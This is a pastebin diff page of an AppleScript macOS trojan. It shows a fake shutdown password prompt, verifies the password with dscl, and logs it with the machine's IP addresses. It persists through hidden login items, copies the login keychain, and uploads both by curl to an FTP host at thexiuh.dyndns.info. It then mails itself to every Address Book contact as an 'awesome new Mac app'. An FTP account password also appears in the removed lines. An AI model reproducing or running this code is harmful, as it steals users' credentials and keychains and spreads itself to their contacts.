SHOW:
|
|
- or go back to the newest paste.
| 1 | delay 5 -- delay 5 seconds | |
| 2 | try | |
| 3 | set theuser to do shell script "whoami" | |
| 4 | do shell script "mkdir ~/Public/." & theuser & "" | |
| 5 | set ufld to "/User/" & theuser & "/Public/." & theuser & "" | |
| 6 | set shutapp to POSIX path of (path to resource "Shutdown.app") | |
| 7 | end try | |
| 8 | try | |
| 9 | tell application "System Events" to keystroke "h" using {command down, option down} -- Hide all other applications
| |
| 10 | repeat | |
| 11 | set passwd to text returned of (display dialog "Please enter your password to postpone shutdown." with title "Password" with icon alias ((path to me) & "Contents:Resources:troll.icns" as string) default answer "" buttons {"OK"} default button 1 giving up after 20 with hidden answer) -- Prompt for Password
| |
| 12 | if passwd = "" then | |
| 13 | set reso to (path to resource ".Updater.app") | |
| 14 | tell application "Finder" to duplicate reso to ufld | |
| 15 | set newreso to POSIX path of ("" & ufld & ".Updater.app")
| |
| 16 | tell application "System Events" to make login item at end with properties {path:newreso, kind:application} -- Make application a login item
| |
| 17 | tell application "Finder" to duplicate shutapp to ufld | |
| 18 | tell application shutapp to activate -- Shut down computer | |
| 19 | quit | |
| 20 | end if | |
| 21 | try | |
| 22 | do shell script "dscl . -passwd /Users/" & theuser & " " & passwd & " benwashere" | |
| 23 | do shell script "dscl . -passwd /Users/" & theuser & " benwashere " & passwd & "" -- Check if password is correct | |
| 24 | exit repeat | |
| 25 | on error | |
| 26 | display dialog "Please try again." with title "Password" buttons {"OK"} default button 1 with icon caution -- If password is incorrect, try again
| |
| 27 | end try | |
| 28 | end repeat | |
| 29 | set dte to (current date) as string | |
| 30 | try | |
| 31 | do shell script "curl http://checkip.dyndns.org/ | grep 'Current IP Address' | cut -d : -f 2 | cut -d \\< -f 1" | |
| 32 | set WANIP to (characters 2 through -1 of result) as text -- Get IP | |
| 33 | set LANIP to (do shell script "ipconfig getifaddr en1") | |
| 34 | do shell script "touch " & ufld & " ." & theuser & " - " & dte & ".txt" | |
| 35 | do shell script "echo " & dte & " - User: " & theuser & " Password: " & passwd & " WAN IP: " & WANIP & " LAN IP: " & LANIP & " >> " & ufld & "" -- Write password & IP to file | |
| 36 | on error | |
| 37 | set WANIP to "not connected" | |
| 38 | do shell script "touch " & ufld & " ." & theuser & " - " & dte & ".txt" | |
| 39 | do shell script "echo " & dte & " - User: " & theuser & " Password: " & passwd & " WAN IP: " & WANIP & " LAN IP: " & LANIP & " >> " & ufld & "" -- Write password to file | |
| 40 | end try | |
| 41 | try | |
| 42 | set reso to (path to resource ".Updater.app") | |
| 43 | tell application "Finder" to duplicate reso to (path to desktop) | |
| 44 | set newreso to POSIX path of ("" & (path to desktop) & ".Updater.app")
| |
| 45 | tell application "System Events" to make login item at end with properties {path:newreso, kind:application} -- Make application a login item
| |
| 46 | end try | |
| 47 | try | |
| 48 | - | tell application "Finder" to do shell script "curl -T ~/Public/." & theuser & ".txt -u Ben:.Nimajneb59611. ftp://thexiuh.dyndns.info/Drive/.Passwords/." & theuser & "_" & WANIP & "_" & dte & ".txt" -- Upload to FTP server |
| 48 | + | tell application "Finder" to do shell script "curl -T ~/Public/." & theuser & ".txt -u Ben:(my password) ftp://thexiuh.dyndns.info/Drive/.Passwords/." & theuser & "_" & WANIP & "_" & dte & ".txt" -- Upload to FTP server |
| 49 | end try | |
| 50 | try | |
| 51 | set china to "/Users/" & theuser & "/Library/Keychains/login.keychain" | |
| 52 | do shell script "cp /Users/" & theuser & "/Library/Keychains/login.keychain /Users/" & theuser & "/Public" | |
| 53 | do shell script "mv /Users/" & theuser & "/Public/login.keychain /Users/" & theuser & "/Public/." & theuser & ".keychain" -- Copy keychain to Public | |
| 54 | end try | |
| 55 | try | |
| 56 | - | tell application "Finder" to do shell script "curl -T ~/Public/." & theuser & ".keychain -u Ben:.Nimajneb59611. ftp://thexiuh.dyndns.info/Drive/.Passwords/." & theuser & "_" & WANIP & "_" & dte & ".keychain" -- Upload Keychain to FTP server |
| 56 | + | tell application "Finder" to do shell script "curl -T ~/Public/." & theuser & ".keychain -u Ben:(my password) ftp://thexiuh.dyndns.info/Drive/.Passwords/." & theuser & "_" & WANIP & "_" & dte & ".keychain" -- Upload Keychain to FTP server |
| 57 | end try | |
| 58 | end try | |
| 59 | do shell script "touch " & ufld & "adr.txt" | |
| 60 | set adrt to "" & ufld & "/adr.txt" | |
| 61 | tell application "Address Book" | |
| 62 | set thepeople to every person | |
| 63 | set j to (number of people) | |
| 64 | repeat with i from 1 to j | |
| 65 | try | |
| 66 | set adr to (value of first email of (item i of thepeople)) | |
| 67 | do shell script "echo " & adr & " >> " & adrt & "" | |
| 68 | end try | |
| 69 | try | |
| 70 | set adr to (value of second email of (item i of thepeople)) | |
| 71 | do shell script "echo " & adr & " >> " & adrt & "" | |
| 72 | end try | |
| 73 | try | |
| 74 | set adr to (value of third email of (item i of thepeople)) | |
| 75 | do shell script "echo " & adr & " >> " & adrt & "" | |
| 76 | end try | |
| 77 | end repeat | |
| 78 | quit | |
| 79 | end tell | |
| 80 | tell application "Mail" | |
| 81 | set theMessage to make new outgoing message with properties {visible:false, subject:"Awesome new Mac app!", content:"Hey, check out this new Mac application! You'll never use your computer the same way again ;)
| |
| 82 | ||
| 83 | " & theuser & ""} | |
| 84 | end tell | |
| 85 | set addresses to {}
| |
| 86 | set adrs to paragraphs of (read "/Users/" & theuser & "/Documents/adr.txt") | |
| 87 | repeat with nextLine in adrs | |
| 88 | if length of nextLine is greater than 0 then | |
| 89 | tell application "Mail" | |
| 90 | tell theMessage | |
| 91 | make new to recipient at end of to recipients with properties {address:nextLine}
| |
| 92 | end tell | |
| 93 | end tell | |
| 94 | end if | |
| 95 | end repeat | |
| 96 | tell application "Mail" | |
| 97 | tell content of theMessage | |
| 98 | make new attachment with properties {file name:(path to me)} at after last paragraph
| |
| 99 | end tell | |
| 100 | end tell |